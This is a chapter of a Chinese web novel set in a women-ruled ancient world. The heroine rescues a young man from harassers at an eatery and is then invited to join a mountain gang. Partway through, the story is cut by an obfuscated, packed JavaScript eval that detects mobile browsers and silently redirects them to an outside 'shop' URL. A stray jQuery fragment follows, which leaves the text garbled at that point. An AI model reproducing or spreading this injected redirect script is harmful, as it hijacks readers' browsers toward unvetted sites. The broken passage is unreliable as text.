3. 救美
作品:《奴随妻主,渡日月长(女尊)》 这样从城隍庙到河堤两点一线的日子,已经过了差不多快三个月。李明珠对自己的古代生涯,额,准确来说是古代女尊生活,已经颇为熟悉了,当然,更多像是认命了。
这几个月来,她几乎每天都是重复的,早上起来与白家姐弟一起出城上工,傍晚再结伴回来,从盛夏到初秋,她们的身影丈量着日落,白日渐短夜渐长。
李明珠原本以为,这样的生活会一直持续下去,她会和白灵一起靠做工攒银钱,想着等到朝廷议出对策,给她们身份和路引,就在城中租一间小院。
白玉尘还在一次看见李明珠半夜起身独自揉着发酸的肩膀时落泪,哭着说日后自由了,有落脚地了,他就去卖绣品养她,再不叫她去干什么劳什子苦工了,只凭她在家里找猫逗狗,耍枪遛鸟。
这番话把李明珠给感动坏了,狠狠揉了把对面少年的头发,
“怎能让你养,我是女子,合该是我养你们才对,还有白灵姐,到时候,我们得租一间大点的院子,白灵姐还能在院子里练枪,还有还有,还要一个大厨房,你厨艺那么好,可不能浪费了……”
于是,在那个深夜,微弱的烛光下,少男和少女青涩地诉说着他们所想的未来,他们旁边,稍暗的阴影里,一双温柔的眼睛睁着,看着烛火里少女,手不自觉地虚触那抹倩影,唇畔漾起弧度。
三人长久地沉浸在畅想出来的以后中,却忘了世事无常。
当时只道是寻常。
每天傍晚下工之后,白玉尘都会让她们先回来休息,他自己则去城隍庙对面的食肆帮工,自从那日第一次给李明珠做饭得到她极大推崇后,他就像受到鼓舞般每日都要做,说是心疼她们干活累了,不能只吃干硬的饼子,虽然条件有限,没有珍馐食材,但仅仅是常见的萝卜白菜,他也能做出许多花样来。
时间久了,跟食肆的掌柜也渐渐熟识,又见他手艺不错,便提出让他日下工后来自己店里帮忙。
原本白玉尘要借他们的厨房做饭,都是自带食材且每次需给两文钱的柴火钱,要是去帮工,便不需再额外给钱,且若是店里有余下的吃食,也可以让他带走些。
白玉尘当然是欣然应允,他每次看姐姐和阿珠辛苦一天,才能得来几文钱,他就心疼的无以复加,她们把赚来的银钱都给了他,让他想吃什么就买些,可是白玉尘哪里舍得,他比任何人都珍惜这银钱,每日也只在菜店快打烊时,低价买些不那么新鲜的,要是能去食肆帮工,既能省钱,能做的吃食也会更多。
因此这段时间,他申时下工后,都会直接去食肆,忙完再做好他们的晚食,最晚酉时末便能回来,因为食肆就在城隍庙斜对门,也就几步路,白玉尘便不让她们去接。
一开始李明珠还有些不放心,毕竟是晚上,这边流民也多,三教九流聚集于此,一个男人孤身出门总是不太安全,她就去接过几次。
但每次去,都被白玉尘劝回来了,他在其他事情上都听她做主,唯独这件事格外坚持,阿珠已经很累了,断断不能再让她为自己的事劳心。
然而就在这天晚上,本该是平常吃饭的时候,他却迟迟不归,李明珠便让白灵看着吃食,她自己则提了烛台去寻。
本以为可能是客人太多耽搁了,但刚走到院子里,李明珠就听到了里面的吵闹声,似乎还有推搡的动静。
她连忙加快脚步,猛地推开门,就见里面乱作一团,双目快速搜寻白玉尘的身影,然而就在此时,她听到了一声熟悉的嗓音,“唔,嘶,你,你放开我。我家人就在此处……”
他的话还没说完,就这样卡在了喉咙里,泪眼朦胧中,一道倩影闯入他的视线,占据了他所有的目光,这是他再熟悉不过的身影,又如天神般降临了。
李明珠一开始没发现他,直到那声痛呼,像锥子一样仿佛要刺穿她的耳膜。
兀然回头,看到的一幕却让她怒火上头,白玉尘清瘦的身影被一群五大三粗的女人围在中间,其中一个人还拽着他的手腕。李明珠想也没想,快步走上前去,一把攥住那女人的手臂扯开了她。
女人被她拽的一个趔趄,被同伴扶住才站稳了身子,见害自己差点摔倒之人只是个毛都没长齐的小女人,不由怒骂:“哪儿来的乳臭未干的小丫头,赶紧滚,还敢管你奶奶我的事了,出门打听打听奶奶是谁,穿身破烂就敢往我身边凑。”
又扬声向旁边喊道:“阿江,把这不知天高地厚的野丫头扔出去!”
就见周围原本在看热闹的人群中走出来一人,也生得高大魁梧,眼睛瞪得像铜铃,听了自家主子的话,就要朝李明珠抓去。
李明珠自然不可能站着让她抓,别的不说,她穿到这个世界已经好几个月,也干了这么长时间的苦工,力气增长了不少,她人小又灵活,比那大块头动作迅速的多。
她先是把白玉尘推出人群,让他远离危险,自己则脚步灵活地绕到那侍从旁面,利落出手先发制人,蓄力,一拳打到她的腰侧。
“嘭!”
那人不可置信地看着李明珠,侧身摔倒在地。
周围还在起哄看热闹的人顿时鸦雀无声,时间仿佛静止般,除了地上之人呼哧呼哧地出气声,其余人仿佛被施了定身法。
李明珠将那只发麻的手背到身后,环视众人,独属于少女的清亮嗓音想起;“可还有人要上前?”
“好!这小姑娘真是好样的。”一道爽朗豪放的声音响起,李明珠回头,瞧见一个头戴皮毡帽,身着灰色长袍的中年女人,一边拊掌叫好,一边朝她走过来。
李明珠有些不明所以,便一时没有说话。
那女人来到她面前,大掌拍了拍她的肩膀,赞道:“你这小娃,真是有本事,力量相差如此之大,你居然还能巧施计策,将力量集中于一点,趁其不备而胜过于她,真是有勇有谋,可谓将才啊,你若是能上战场,也是有一番造化的啊。”
方才她亲眼目睹李明珠是如何一拳制胜,那对手高大,腿却不长,腿短而身长,意味着重心低。也就是说,只要能击中她的腰部,就有机会将她一击击倒,但二人很明显力量悬殊,正面硬打李明珠不占优势,这小姑娘就靠着娇小的身形,灵活绕到对方身侧,积蓄力量于手臂,出拳,直接打到那人的侧腰。
要知道,一般人前后的平稳性都要高于左右平稳,人在面对打击时,更容易往两边倒去,李明珠正是利用了这一点,用更小力量打败强大的敌人。
那人在倒地时,由于过于庞大的身躯,加剧了下落时的冲击力,所以,她现在倒在地上起不来,其实并非李明珠的力量,而是……摔得太重了。
方才那调戏白玉尘的女人脸色青白交加,但身边最厉害的侍从都被打成那个样子,她也没胆量再继续放狠话了,只在同伴的劝说下,半推半就地被拉走了。
而刚才发生争执时就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202146|197236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一直隐身的掌柜终于出现了,着人收拾现场,将地上的侍从阿江抬起来,送回她们府里。
随即转身,端着谄笑,装模做样地和起稀泥来,“欸呦喂众位客人,坐坐坐,今儿这事,主要是我这小厨的错。”
说着,那双略吊的鼠眼看向白玉尘,目露威胁,“小子,还不快给众位娘子赔个不是。”
李明珠:拳头硬了。
她一把将白玉尘拉到自己身后,怒声道:“我本以为掌柜肯让我们用厨房,定是为明事理的善人,却没想到,今日得见,原来是一个首鼠两端,看人下菜的小人!明明是那女人挑衅在先,阿玉受了委屈,你作为老板,不去维护他,反而任由他被别人欺辱,你这样的人,不配让阿玉做事,自今日起,我们也不会再上门!”
李明珠越说越气,直接拉了白玉尘的手就要往外走,却被一个声音拦了下来。
“小娘子稍等。”
是那中年女人的声音,疑惑转身,便听那声音继续道:“小娘子,这周围没有民宅,尽是些寺庙道观,又靠近城外,一般人轻易不到这来,这么晚能出现在这儿,想必,你们刚来京不久的流民罢。”她说到最后,语气已是肯定。
李明珠点点头,她也不意外对方能看出来,无它,只要低头看看自己这身衣裳,以及每日干活被晒得黢黑的脸,想猜不出来她的身份都难。根本没有隐藏的必要。
确认了她的身份,就见那女人朝与她同桌的另一人递了个眼神,两人便一同向她走来,“我们想同小娘子商量些事,但这不是说话的地方,可否移步?”
李明珠略一思忖,同意了。
她并不认识这两人,但因着她们跟方才欺辱白玉尘的人不是一伙的,又对她频频夸赞,李明珠对其并不排斥。她也很好奇,就现在自己这乞丐模样,究竟能有什么事找她。
背在身后的手被白玉尘小幅度地扯了一下,李明珠微微侧头看向他,见他殷红未消的水眸中藏着担忧,便轻轻回握了握他的手,递给他一个安心的眼神。
见他还是不放心,便悄悄凑到他耳边,用只有二人能听到的音量小声说:“放心,白灵姐还在城隍庙呢,咱们直接带她们回去,她们要是敢动歪心思,别说只有俩人,就是再来十个,也不在话下。”
一行人各怀心思。
回到城隍庙,白灵赶忙迎了上来,“怎么去这么久,再不回来,我就找你们去了。“顿了顿,她才注意到与李明珠她们一起进来的,还有两位女子。
其中一人年纪稍长,看起来已年过四十,身材魁梧,着一身灰色长袍,看着像是文人打扮,但视线向下,落到那人垂在身侧的手上,虎口处有厚厚老茧,白灵常年习武,有自小随母亲在军营长大,知道那是常年使枪留下的。
心中咯噔一下,虽不知李明珠只是去寻白玉尘,又怎么带了这两人回来,但现在不是纠结这些的时候。
白灵上前一步,挡在李明珠身前,朝那灰衣女子抱拳,警惕道:“二位,不知来此有何事?”
灰衣女子见她如此戒备,哈哈一笑:“这位娘子无需紧张。”
又看向李明珠,“方才人多,不便深言,这位小娘子,某姓熬,单名一个煞字,是京城三十里外兴龙山上兴龙帮的大当家,适才见你身手伶俐,不一味使蛮力而懂谋划,小小年纪,胆识过人。若小娘子有意,家中无母父挂心,可否上我兴龙帮,做我左膀右臂?”

